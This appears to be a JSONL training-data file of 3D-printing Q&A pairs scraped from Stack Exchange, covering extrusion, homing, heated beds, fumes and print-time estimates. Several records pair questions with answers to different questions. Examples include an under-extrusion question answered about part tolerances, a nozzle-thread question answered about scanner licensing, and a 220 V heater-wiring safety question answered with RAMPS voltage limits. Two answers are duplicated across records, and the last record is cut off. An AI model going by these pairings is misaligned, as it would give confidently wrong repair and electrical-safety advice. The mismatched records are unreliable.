{"id": "hf_94b0aee6ff4e", "question": "<p>Harking back to the days of \"singing disk drives,\" I am wondering if anyone's written music to be performed on a 3D printer. Most of us have noticed in passing that the servo motors for X and Y drive generate a different pitch depending on motion speed. With some care and experimentation, one could write g-code to produce not only a tone but even a 2-tone chord.  So -- has this been done? Does anyone want to do so? (Note that there's no need to simultaneously produce a print, but that would be even classier).</p>\n", "question_body": "", "answer": "Yes, it has been done before, see\nhere\nand\nhere.\nThe README file of the first repository linked above contains a detailed explanation of the basic idea/calculations involved.  A short excerpt:\nAs you can set the parameters of G1 in such a way as to precisely control the velocity and the distance of a movement along a certain axis, you can control the operation frequency of the stepper motors as well as the actual time to complete a movement.\nOn another note (pun intended), you can also play music by using the code\n```\nM300\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.322048"}
{"id": "hf_bd84efff01bd", "question": "<p>I've built and done some simple tests on a TEVO Tarantula but I've noticed some pretty dramatic under extrusions. </p>\n\n<p>My equipment:</p>\n\n<ul>\n<li>TEVO Tarantula;</li>\n<li>Jim Brown's easy config fork of Marlin;</li>\n<li>Titan extruder (came with printer).</li>\n</ul>\n\n<p>I've updated the firmware with the 400 steps as advised and calibrated the extrusion with the 100&nbsp;mm method:</p>\n\n<ul>\n<li>When I run the calibration with the Titan extruder, <em>only</em> the 400 steps is fine and works as expected;</li>\n<li>When I connect the Bowden tube to the hotend and calibrate (at 200, 225 and 250°C), I see only ~50&nbsp;mm of extrusion. </li>\n</ul>\n\n<p>I've disassemble the hot end, changed filament and I can't see any signs of blockage. The Bowden tube in the hotend is not showing any signs of melting etc. and it is pushed all the way down to the hotend, as per the instructions. </p>\n\n<p>So, what's going with this?</p>\n", "question_body": "", "answer": "It is considered good practice to limit your post to one question at a time. The question about hardware and material is too broad to be a good question and I will set that aside.\nEqually unfortunate, your drawing is ambiguous. I suppose if English is not your native language, I'm not helping things either.\nThe drawing has some errors that make it challenging to be certain of a correct answer, but I can provide you with some useful information as a direct result of a test print created today.\nThe test print for my printer creates a series of spool shapes within retainer shapes. More complex than a simply cylinder making the test that much more difficult.\nMy printer is able to print without problem parts that are 1.0 mm apart, 0.8 mm apart and 0.6 mm apart. The test failed at the 0.4 mm spacing and the 0.3 mm spacing, telling me that I need to perform some tuning.\nYour question asks about 0.05 mm spacing. I think you will not find an FDM  printer that will manage such separation without bonding together the individual components. FDM printers use filament.\nYou may also not find that an SLA or DLP printer can provide such tight tolerances. It is the most likely source of a success, however. I have only minimal exposure to tolerance in this type of printer. SLA/DLP printers use lasers/light and liquid resin. They can accomplish 0.05 mm layer thickness, even as small as 0.025 mm layers, but I do not know the figures for horizontal precision/accuracy/tolerance.\nSLS printers use a nylon powder and a laser to fuse the powder together to form the model. My SLS printer uses 0.050 mm powder. To accomplish the separation you require would mean a single layer of powder will separate the individual segments of the model. This is not practical for this type of printer.\nYour best bet would be to consult with a 3D printing service that uses SLA printers. SLA is likely to be more precise than DLP due to the method of exposing the resin, although that is not a universal truth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.358862"}
{"id": "hf_01d108a0139d", "question": "<p>Is there any commonly printed plastic which I can buy that might be transparent to UV light? </p>\n\n<p>I wish to print a mould, then pour in my plastic which requires a UV light to activate the curing process. </p>\n", "question_body": "", "answer": "This is more of a Chemistry question, but seeing as we love 3D printing with exotics, here are a few.\nTopas\nolefin copolymer\nFrom the mfr description page,\nTOPAS cyclic olefin copolymer, or COC, is an incredibly pure polymer -\nin fact, it's purer than most grades of medical glass. Unlike glass,\nit has a non-ionic, inert surface to minimize reactivity,\ndenaturation, agglomeration, delamination and other traditional glass\nconcerns. And when it comes to maintaining purity, TOPAS medical grade\nplastics can be sterilized via all common methods. Leachables and\nextractables are extremely low. Reduce risk and increase performance\nby maintaining the benign, protective environment that TOPAS COC-based\ndevices provide.\nMedical grades of TOPAS COC are extremely clear, and are optically\nsuitable for replacing glass in many applications.\nI'm not sure of its melting point, or of the speed of solidification (which affects extruder rate, motion etc).\nRecommended at\nthis Chem.SE question\n, PMMA and others\nedit\nBecause answers there have links of their own, I\"m not repeating the various technical leads available there.\nNow you will have to investigate their melting points and flow rates, etc. to see if these can be coerced to function in an extrusion printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.383396"}
{"id": "hf_10461a294fcb", "question": "<p>Whenever it start printing the extruder starts clicking, I tried adjusting the voltage with no luck, it's still clicking. And it doesn't extrude a lot of plastic sometimes it even stops extruding but the extruder is still turning. Can someone help?</p>\n", "question_body": "", "answer": "The clicking you are hearing is either the stepper motor skipping steps or the hobbed gear losing grip on the filament.\nEither way, it means that the filament opposes an unusually high resistence to be pushed forward.\nA key information to be able to diagnose your problem is whether the clicking is on the firsts couple of layers or throughout the print.\nIf it is only for the first 1-3 layers the problem is likely to be the printing bed too high\n(or deformed), so that the nozzle touches it and the bed acts a \"lid\" on the nozzle preventing the molten plastic to get out.  If this is the case, adjust the printing bed to be flat and level (and the nozzle at the right height when homed on the Z axis.\nIf the problem persists throughout the full print\nthe problem is likely to be related to one of the following:\nthe extruder not managing to get a firm grip\non the filament (worn teeth, slack spring, ...)\nthe stepper motor being underpowered\n(this seems not to be your case, given that you have already adjusted the voltage)\na clog, adhesion, or restriction in either the bowden tube or the extruder\n, for which the best solution is disassemble, inspect and clean (eventually changing the bowden tube if it has been deformed).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.407766"}
{"id": "hf_672ee4609fd9", "question": "<p>It's my first time printing in vase mode, and I noticed my printer underextruding badly. The settings have not been changed from default vase mode settings in slicer, and earlier I was printing non-vase mode and the prints came out fine. Layer height is 0.2&nbsp;mm and perimeter width is 0.3&nbsp;mm. </p>\n\n<p><a href=\"https://i.stack.imgur.com/rXiKt.jpg\" rel=\"nofollow noreferrer\" title=\"Under extrusion #1\"><img src=\"https://i.stack.imgur.com/rXiKt.jpg\" alt=\"Under extrusion #1\" title=\"Under extrusion #1\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/KCy5X.jpg\" rel=\"nofollow noreferrer\" title=\"Under extrusion #2\"><img src=\"https://i.stack.imgur.com/KCy5X.jpg\" alt=\"Under extrusion #2\" title=\"Under extrusion #2\"></a></p>\n", "question_body": "", "answer": "Finding the cause of under-extrusion is very hard as a lot of parameters of the print process can influence this. There are some nice websites that describe these problems in detail. From your question it is unclear what you have done to solve the problem, or if you have printed products after the vase mode and shown us a picture of that (this eliminates a lot of possible problems).\nA nice overview is given by\nUltimaker\n, but other sources may help you to find the root cause, e.g.\nSimplify3D\n. If the issue is related to the filament and hot-end,\nPrintrbot\n,\nTrideus\nand\nRigid.ink\nmay help you solve the problem.\nImportant is to isolate your problem! Not knowing what printer you have, your printer has (or potentially has) the folowing modules/elements that may be causing the underextrusion:\nthe slicer (highly suspicious),\nthe material/filament and the spool holder (suspicious),\nthe extruder or feeder (suspicious),\nthe hot-end (suspicious),\nthe Bowden tube (suspicious if you have one).\nNote that to find the root cause you should tackle this by elimination, this way you make sure that certain modules are not causing the problem. Also keep in mind that the vase mode prints a single outline/perimeter shell and won't make any retracts (so the Z axis will continuously rise), in which defects are shown instantly. Please, take a close look at your normal multi perimeter print.\nHow to fix under extrusion!\nUnder extrusion is probably one of the hardest to find the direct cause as there are so many variables to consider. Please find below some of the variables that can affect your printing quality marked in bold face.\nMaterial and material settings\nThe material you use needs to be resembled correctly, so it is important and easiest thing to check first if your print is suffering from under-extrusion due to incorrect material settings. The material settings in your slicer (or the material profile on your printer for the more fancy printers) should match the material you are printing. So please check the\nfilament diameter\nwith a caliper and measure the diameter at various points; take the mean diameter of at least 3 to 5 measurements. Furthermore,\ntemperature\nis also an important factor;\ntoo low temperatures\nwill cause that the extruder has to push harder as the material is less viscous due to the fact it is not heated properly. Note that this can also happen if the flow of the filament is too high and the heater cannot keep up. It is these high pressures that cause the under extrusion as it may not flow fluidly. In contrast to too low temperatures,\ntoo high temperatures\n, can also cause problems. Very high temperatures can change the structure of the material, this is often referred to as carbonization causing\ndeposits\n(clogs) in the nozzle. A word of advice,\nPlease check your filament spool/box (or sometimes a paper in the box or bag) for the proper temperatures\n.\nNext to the temperature, other important material settings are the\nprint speed\n, the\nlayer height\nand the\nnozzle size\nas these properties further define the rate at which the\nfilament volume\nis deposited. For instance, a\ntoo high of a volume flow\nnot only can lead to the previously mentioned cooling of the nozzle, but also is limited by the diameter of the nozzle, you just cannot push more through the nozzle is capable of as the friction will increase (the smallest opening in the system determines the maximum rate of volume flow). If you do, this will lead to under-extrusion. To\nfind the optimum between speed and temperature\n, a good balance between these needs to be found. A typical way to do that is by the use of printing calibration temperature towers, preferably at various speeds. To print faster, you need a higher temperature, but printing at lower temperatures because of overhangs, you might need to decrease the speed to get a proper extrusion (and maybe also part cooling).\nDon't just focus on the hot end part, also take a closer look at the filament spool itself, or better, how the spool unrolls. Is the\nspool of filament unrolling correctly/freely\nwithout a lot of friction (does it make\nsharp bends\n, or does it go\nthrough a tube\nhaving friction from its container to the extruder), or is the\nfilament not correctly wound causing tangled filament\n(which create a lot of friction preventing enough material to be transported to the hot end) which could stress the extruder.\nFor some materials that are hydrophilic (they attract water and trap it in the filament, this happens e.g. with PLA, PVA, Nylon and maybe even more) printing the\nfilament with contained water, the water will turn into steam causing bubbles\nin the deposited filament and interfere with the flow deposition. This effect sometimes makes a distinct sound like popping bubbles. Always store your filament in a sealed container or bag and use desiccants bags. Moisture can cause damage to the printer as the\nfilament swells when taking up moisture\n; this could lead to various jams. Last but not least, filament with moisture in it has less mechanical properties after printing than dry filament (up to 33% less).\nThe extruder/feeder and Bowden tube\nThe extruder/feeder pushes or feeds material into the hot end, or into a tube (called Bowden tube). Under-extrusion caused by the extruder is typically characterized by the fact that filament is not properly fed to the hot end as a result of\ntoo much friction in the tube or hot end\n,\ntoo less grip on the filament\nor\nfilament grinding\n(the extruder gear 'eating away' the filament).\nToo much friction could even cause your stepper to tick or click\n, basically turning back as the pressure on the filament exerts so much pressure that the stepper is rotated back;\nincreasing the feeder tension\non the filament (by\nadjusting the screw on the extruder/feeder\nwould fix that). Grinding is easily spotted when removing the filament; it will clearly show that the gear has worn away circle shapes. Furthermore,\nfilament taken out of the printer should show visible marks on the material\nas imprints of the extruder gear,\nif completely smooth, the feeder tension is too less\n. On the other hand,\ntoo much tension on the feeder could flatten the filament, which leads the previously mentioned grinding effect\n. If you encounter grinding, please assure that you\nclean the extruder by removing the filament powder and chunks\nthe grinding produced and recheck the extruder/feeder tension before continuing printing again. Be sure that the\ngrinding particles have not entered the Bowden tube as it causes friction\n. Cleaning them regularly or replacing them once a year is advisable depending on the usage (or once every x kilometers of filament). Furthermore,\nlarger diameter filament (2.85 or 3 mm) can cause additional friction (in the Bowden tube or the extruder/feeder) as towards the end of the spool\n, the filament is wound tight along a small diameter spool center causing strongly bend filament that exerts pressure as it acts like a spring creating friction at the walls of the tubes.\nThe hot-end\nThe hot end can also be a culprit for under-extrusion.\nPartial blockage of the nozzle as a result of carbonization\n(buildup of carbon or carbonized material in the nozzle). Even\nleft over material from previous prints inside the nozzle\n(\nunflushed residue\n) may change the volume of the nozzle when the material you printed before needed a higher temperature than the current you're printing. Also try to get\ngood quality filament\n, it might be that the\nquality is just not constant for the whole spool\n. Too clean the inside of the nozzle, a few techniques exist to remove blockage. By\nperforming a \"cold pull\" or using the\n```\natomic method\n```\n. Both techniques rely on the mechanism to insert the (cleaning) filament when it's hot and remove it quickly at a lower temperature. E.g. see\nhere\nor\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.432249"}
{"id": "hf_e56d0fd4f5af", "question": "<p><a href=\"https://photos.app.goo.gl/O6yPf3sDeV1yhS0C2\" rel=\"nofollow noreferrer\">https://photos.app.goo.gl/O6yPf3sDeV1yhS0C2</a></p>\n\n<p>I tried to illustrate my problem in the videos above, two of them show the weird movement and the other shows me clicking on the home button repeatedly.</p>\n\n<p>Some Info:</p>\n\n<ul>\n<li>Marlin 1.1.8 or 2.0.0 (same problem in both)</li>\n<li>Robotdyn RAMPS 1.4</li>\n<li>0.9 angle stepper motors</li>\n<li>DRV8825 drivers configured at 0.8V Vref</li>\n<li>Anet A2 Plus stock for all the rest</li>\n</ul>\n", "question_body": "", "answer": "As far as I can see on the attached videos your homing movement is reversed.\nas per Marlin, the homing for X shall move towards the left side and for Y to the back of the printer.\nThat could occur when: cable connectors to stepper motors are reversed, or the motor is assembled the other way (you can set reverse direction in Marlin)\nThe other issue is steps/mm calibration need to be done see source below.\nThe high pitch in the video could also point that the drv8825 is shutting down the movement as it is overloaded.\nplease also check that for vref\nConfiguring Vref In order to measure Vref you first need to turn on\n  your printer as you normally would. If you only connecct using USB,\n  but not external power, you get a wrong reading.\nYou need to turn on your multimeter and set it at 2v. Put the red one\n  on the potentiometer and the Black one on the Gnd pin. Both are marked\n  on the images here.\nBefore starting this I read they come with a very high vref setting,\n  and it is recommended to start around 0.5v Vref. After measuring mine,\n  I can confirm they come with a very high initial setting. Mine both\n  came at 1,65v or so! - Yours might be different, which just underlines\n  the importance of doing this.\nContrary to normal potentiometer usage, the ones on most copies/clones\n  of DRV8825 are lowered by turning clock-wise, so that is what we will\n  do, to we hit 0,5v on each. - A quarter of a full turn lowered it to\n  0,7v, - after that it goes very, very rapidly down, so aim for the\n  quarter of a turn + a tiny tad more. If you buy your DRV8825 directly\n  from pololu.com the Potentiometer are dialed up by turning it\n  clock-wise:\nsource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.459337"}
{"id": "hf_9e5cb521d817", "question": "<p>I have an Anet A8 printer for about 4 months, set up pretty well (or so I thought) and printing a number of models pretty well. I made a large 3\" x 6\" box with a sliding lid yesterday and when it was done there was a gap on one side when the lid was slid on. I checked the parts and it turns out they are not square - which means the X and Y axes are not square to each other.</p>\n\n<p>I'm wondering how to adjust this - I'm thinking that extending the distance between the back of the frame and the front by adjusting the threaded rods that separate them to a wider distance on the side where the angle is obtuse. Obviously one of the first things I'll check is that the distance between the front and back is the same (I can't imagine why I never checked that before, come to think of it).</p>\n\n<p>Does this sound like a sound plan?</p>\n", "question_body": "", "answer": "It is hard to determine the exact source of the problem as there are few possibilities (I am assuming that you have a single nozzle and only one filament in use):\nOne of the hardest issues for me to get on my printer was fact that my auto-level sensor was mounted about 0.5mm too high - so please check that as this will give you a bit higher Z than expected.\nPrinting speed matters  - for some prints I was slowing my printer to 20% of nominal speed to get adhesion\na hair-spray layer or a masking tape on the bed could help with getting the grip\nalso you could play with nozzle temperature de/increasing by 5 degrees and see how it is going", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.537069"}
{"id": "hf_e66147da3f3c", "question": "<p>I have a simple printer bot metal with a heated bed, the heated bed I am not using. I am using conductive pla by protopasta </p>\n\n<p>The conductive pla is not that strong, so when I take my pieces off the board, sometimes they break. The only time it appears to be invincibly strong is when it sticks to the bed plate! I cannot get the skirt off the bed plate, no matter what I try</p>\n\n<ul>\n<li>a razor blade does not work, even when the bed isn’t heated and after dumping a bunch of acetone on the board</li>\n<li>using no skirt does not work, as the printer clogs itself</li>\n<li>it is difficult enough to remove to the point that printing itself isn’t fun</li>\n<li>when scratching it off, the pieces only chip, because they stick better to the bed than they do to themselves (unlike PLA)</li>\n</ul>\n\n<p>What’s a good way to remove a conductive pla skirt from one of the beds? The skirt is the initial outline a printer lays down, it is very thin</p>\n", "question_body": "", "answer": "Based on your description \"it is very thin\" about the skirt, and by the other characteristics you've provided, I suggest that your z-height for the first layer is suspect of being too small, too close to the bed.\nIf you have calibration specific to z-height only, re-calibrate and make a test  print with skirt. If the test is better, this tells you that the previous setting was at fault. If the test is not better, use a different setting by 0.01 mm or 0.02 mm and run another test.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.560525"}
{"id": "hf_328cc704c98e", "question": "<p>Ultimaker Cura offers a platform support type of “<em>touching buildplate</em>” which enables the printer to only make a raft for parts of the object that should be touching the build plate. It also offers “<em>everywhere</em>” for any object that might be hanging over the build plate.</p>\n\n<p>I have a need to only offer support for overhangs up to a certain z height, such any overhang located at a z-point of 4&nbsp;mm or below. Is there a software that will enable this, either as a setting/addition to Ultimaker Cura or just a G-code export for Pronterface?</p>\n", "question_body": "", "answer": "Is there a software that will enable this?\nYes, as of Ultimaker Cura 3.3 Beta, Ultimaker Cura allows you to specify an area which will not be considered for adding supports. In your case you could define everything above 4 mm to be excluded from building support structures.\nYou can look\nhere\nfor this very new feature, it might be what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.584937"}
{"id": "hf_aca490277a9a", "question": "<p>For example, to make a DIY cartesian 3d printer you <strong>could</strong> use/do the following:</p>\n\n<ul>\n<li><p>Create G-code using a program of your choice.</p></li>\n<li><p>Load it into Universal G-code Sender (GRBL).</p></li>\n<li><p>Pass it into an Arduino with GRBL.</p></li>\n<li><p>The arduino can pass the instructions to the drivers through a GRBL arduino uno shield.</p></li>\n<li><p>The drivers will control the steppers.</p></li>\n</ul>\n\n<p>If you want to make a DYI delta 3d printer, which point of this whole process needs to be altered in order for the delta printer to work properly? Is there an existing open source software for delta printers/cncs?</p>\n\n<p>EDIT: This question could be asked about any kind of non-cartesian 3d printer, including Delta, SCARA, Polar, etc.</p>\n", "question_body": "", "answer": "The short answer is that the handling of the non-cartesian design is done by the motion-control firmware running on the Arduino.\nThe long answer:\nI don't believe GRBL supports non-cartesian designs, and it is not commonly used for printers. It is more often used for mills, routers, or laser machines. 3D printers will typically use a firmware such as Marlin, which supports several printer designs, including Delta machines.\nAt no point is the g-code itself changed. The motion control firmware running on the Arduino or other controller interprets the g-code and determines which way and when to step each motor to accomplish the motion.\nWith a simple cartesian machine, commands for the X-axis only relate to the X-axis motor, but for a non-cartesian machine the axis and motors have complex relationships. The firmware must be programmed and configured to control the motors correctly.\nThe g-code itself is never passed to the drivers. The commands to the driver are simple electrical signals to \"enable\" (to energize the motor power - even to just hold position), \"direction\" (which way to rotate the motor shaft), and \"step\" (which causes the motor to rotate by one step in the selected direction).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.608466"}
{"id": "hf_a5bd65d70648", "question": "<p>I found an old Creaform3D EXAscan laying around at the company I work for, and tried to plug it on a computer to see if it still works. </p>\n\n<p>I discovered that it uses a software called RapidForm for data acquisition, but its license is expired.</p>\n\n<p>I looked in the manufacturer site for drivers or something similar but there isn't anything.</p>\n\n<p>Is there any other software or way to read the data coming from such scanner? </p>\n", "question_body": "", "answer": "So if the original manufacturer still exists,\n(which they appear to, and even list your scanner under 'legacy' products)\nyour best chance of getting it working is going to be to contact them directly. Using proprietary hardware WITHOUT the associated proprietary software can range from merely tedious but possible, to outright impossible, depending on the specific company. Oftentimes with tech products like this, the business model isn't about the product itself, but about the license fees for the software to use it. That they can charge yearly for. It's possible that the raw data is just a stereo camera file with extensions renamed, and equally possible that the firmware in the scanner will do some sort of check for valid license before it will even start scanning, they don't really have much info on their legacy products on their page", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.632611"}
{"id": "hf_95ed9554d9af", "question": "<p>How do I know what nozzle to get for my Anet A6 printer? I want to get some hardened nozzles because I would love to print with some glow in the dark filament, but I know that eats up brass nozzles fast. But there is so many thread differences so I don't know which one to get, or even what thread the Anet A6 is. Could I have some help finding the thread type and what hardened nozzles would be recommended?</p>\n", "question_body": "", "answer": "So if the original manufacturer still exists,\n(which they appear to, and even list your scanner under 'legacy' products)\nyour best chance of getting it working is going to be to contact them directly. Using proprietary hardware WITHOUT the associated proprietary software can range from merely tedious but possible, to outright impossible, depending on the specific company. Oftentimes with tech products like this, the business model isn't about the product itself, but about the license fees for the software to use it. That they can charge yearly for. It's possible that the raw data is just a stereo camera file with extensions renamed, and equally possible that the firmware in the scanner will do some sort of check for valid license before it will even start scanning, they don't really have much info on their legacy products on their page", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.656021"}
{"id": "hf_3f6f34e8738a", "question": "<p>I hear that heated beds can help with removing finished prints, but not all printers have them! </p>\n\n<ul>\n<li>Is this a nice to have or must have feature? </li>\n<li>Are there any downsides to heated beds?</li>\n</ul>\n", "question_body": "", "answer": "It can help with bed adhesion. However, most 3D printing plastics will warp without a heated bed (since they shrink as they cool). ABS is notorious for this, although PLA is not so bad, and you can get away without a heated bed for small parts. ABS is so sensitive that you may need a heated (or at least draught-proof) enclosure, as well as a heated bed. If you are considering buying a 3D printer, it is best to get one with a heated bed, unless you are on a very restricted budget. If you buy a printer without a heated bed, you will soon realise that you need one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.680169"}
{"id": "hf_75a164d154cd", "question": "<p>I'm building a 40x40x40cm corexy and I am quite impatient so I want the heated to reach the target temperature as fast as possible, so I ordered a <a href=\"https://www.aliexpress.com/item/400X400mm-1200W-220V-w-NTC-100K-Thermistor-Keenovo-Silicone-Heater-Pad-for-Huge-Mega-Cube-3D/32550597606.html?spm=a2g0s.9042311.0.0.Io1mMV\" rel=\"noreferrer\">Keenovo silicone heater</a>\nIt is a 220VAC 1200Watt bed, so I really want to make sure that it is safe to use.\nI also bought a <a href=\"http://www.crydom.com/en/products/catalog/series-1-240-ac-panel-mount.pdf\" rel=\"noreferrer\">Crydom D2450</a> SSR.</p>\n\n<p>Could someone tell me if the wiring in the diagram I made below is safe?</p>\n\n<p>Do I need to put a fuse or some other kind of safety?</p>\n\n<p><a href=\"https://i.stack.imgur.com/dd7TA.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/dd7TA.jpg\" alt=\"wiring\"></a></p>\n", "question_body": "", "answer": "The answer is, yes you can, but you need to follow guidelines.\nReversing +/- or otherwise incorrectly connecting power can destroy your electronics and cause fire hazard.\nFrom\nRepRap wiki - RAMPS 1.4\nMaximum Input Voltage Power Supply without diode There are three\nlimiting factors to the maximum voltage that you can put into the\nRAMPS:\nThe Arduino Mega maximum input voltage Filtering capacitor maximum\nvoltages PTC fuse maximum voltages First, the 1N4004 diode connects\nthe RAMPS input voltage to the Arduino Mega which has a recommended\nmaximum input voltage of 12 volts. If your board does not have this\ndiode soldered in (or if you cut it), you will need to power the Mega\nthrough the USB connector or through a separate 5v line, but this\nallows a higher RAMPS voltage.\nSecond, most boards use 25v or 35v aluminum electrolytic capactors\n(C2, C3, C4, C6, C7, C9, and C10). To be safe, you should only go to\nhalf of your rated maximum voltage -- thus if your board has 35v\ncapacitors (code VZA) then you should use a maximum input of 17.5v.\nThe absolute maximum voltage is determined by the pololu servo\ndrivers, which themselves are limited to 35V.\nThird, the MF-R500 (5A) PTC fuse is rated to 30V and the MF-R1100\n(11A) PTC fuse is rated to 16V. They will need to be replaced with\nreal fuses.\nPower Supply with diode If your board has a 1N4004 diode soldered in,\ndo not apply more than 12 V to it. Original flavor Arduino Mega are\nrated to 12 V input. While Arduino Mega 2560 can take 20 V, it is not\nrecommended.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.718124"}
{"id": "hf_8435f530164a", "question": "<p>With hot plastic being laid down layer after layer, I am worried about fumes. Should I only print in a well ventilated work space? Should I add additional ventilation?</p>\n", "question_body": "", "answer": "There are some contradicting sources out there on whether plastics, especially ABS, have toxic fumes. It is well known that PLA is food safe, as it is an organic, biodegradable polymer being based on a particular cornstarch. This means that PLA\nis\nsafe when printing, although it can produce foul smells from the dyes and other ingredients. As for the other plastics, it is most commonly said that the fumes are toxic, although, as stated earlier, there are some contradicting topics on this.\nHere\nand\nhere\nare some articles for further reading.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.739768"}
{"id": "hf_d1fcae8eace2", "question": "<p>Recently I noticed that Cura always is giving me less printing time than the print itself takes on my TEVO Tarantula with Marlin firmware.</p>\n\n<p>The time difference is about 15&nbsp;%, at requested 50&nbsp;mm/s printing speed.</p>\n\n<p><strong>How could I verify real printing speed?</strong></p>\n", "question_body": "", "answer": "Printing speed is dependent by the firmware and physical properties of your printer\n.\nSlicers typically compute the expected time by assuming the printer will execute\nexactly\nwhat it is instructed to do, but a printer is a real object, with mass and momentum, and stepper motors that have an upper limit for their power output and rotation speed.\nSo for example, the GCODE may say \"extrude 200mm at 100mm/s\" and the slicer will compute that operation as taking 2 seconds.  However the printer will need to accelerate and decelerate at the extremes of the movement, and it may even be incapable of reaching speeds over 70mm/s, so the\nactual\noperation will likely take 3 seconds or more.\nAccelerations and decelerations account for most of the difference between ideal time and real one, and since the number and intensity of those is totally dependent by the GCODE/model being printed,\nit is not possible to simply multiply the computed time for a given factor\n(for example\n```\n1.15\n```\n, as your question seems to imply).  A large cylinder printed in vase mode will have a printing time much more similar to the computed one that an intricate model with a very complex surface, for example.\nIn recent years, slicers that are maintained by a printer manufacturer (cura, slic3r PE) have become better at estimating printing times for their own printers, as the settings of the firmware are accounted for in the actual estimating algorithm.\nIf you use Octoprint, you may have noticed that the time estimate octoprint gives improves over time, as\noctoprint will analyse the GCODE and measure the elapsed time, and will be able to guesstimate the real time with an increasingly degree of accuracy\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.761631"}
{"id": "hf_4791a44c0d39", "question": "<p>I'm currently designing a RepRap 3D printer that will not have a heated bed. I have heard that it is possible to use a power brick with commercial printers lacking heatbeds. Is this possible with a RepRap printer using a RAMPS board?</p>\n\n<p>I'm referring specifically to the TronXY X1 power brick. I was wondering if it we're possible to use the same TronXY X1 power brick with a standard RAMPS 1.4 board - rather than the special board the TronXY X1 uses.</p>\n", "question_body": "", "answer": "Printing speed is dependent by the firmware and physical properties of your printer\n.\nSlicers typically compute the expected time by assuming the printer will execute\nexactly\nwhat it is instructed to do, but a printer is a real object, with mass and momentum, and stepper motors that have an upper limit for their power output and rotation speed.\nSo for example, the GCODE may say \"extrude 200mm at 100mm/s\" and the slicer will compute that operation as taking 2 seconds.  However the printer will need to accelerate and decelerate at the extremes of the movement, and it may even be incapable of reaching speeds over 70mm/s, so the\nactual\noperation will likely take 3 seconds or more.\nAccelerations and decelerations account for most of the difference between ideal time and real one, and since the number and intensity of those is totally dependent by the GCODE/model being printed,\nit is not possible to simply multiply the computed time for a given factor\n(for example\n```\n1.15\n```\n, as your question seems to imply).  A large cylinder printed in vase mode will have a printing time much more similar to the computed one that an intricate model with a very complex surface, for example.\nIn recent years, slicers that are maintained by a printer manufacturer (cura, slic3r PE) have become better at estimating printing times for their own printers, as the settings of the firmware are accounted for in the actual estimating algorithm.\nIf you use Octoprint, you may have noticed that the time estimate octoprint gives improves over time, as\noctoprint will analyse the GCODE and measure the elapsed time, and will be able to guesstimate the real time with an increasingly degree of accuracy\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": 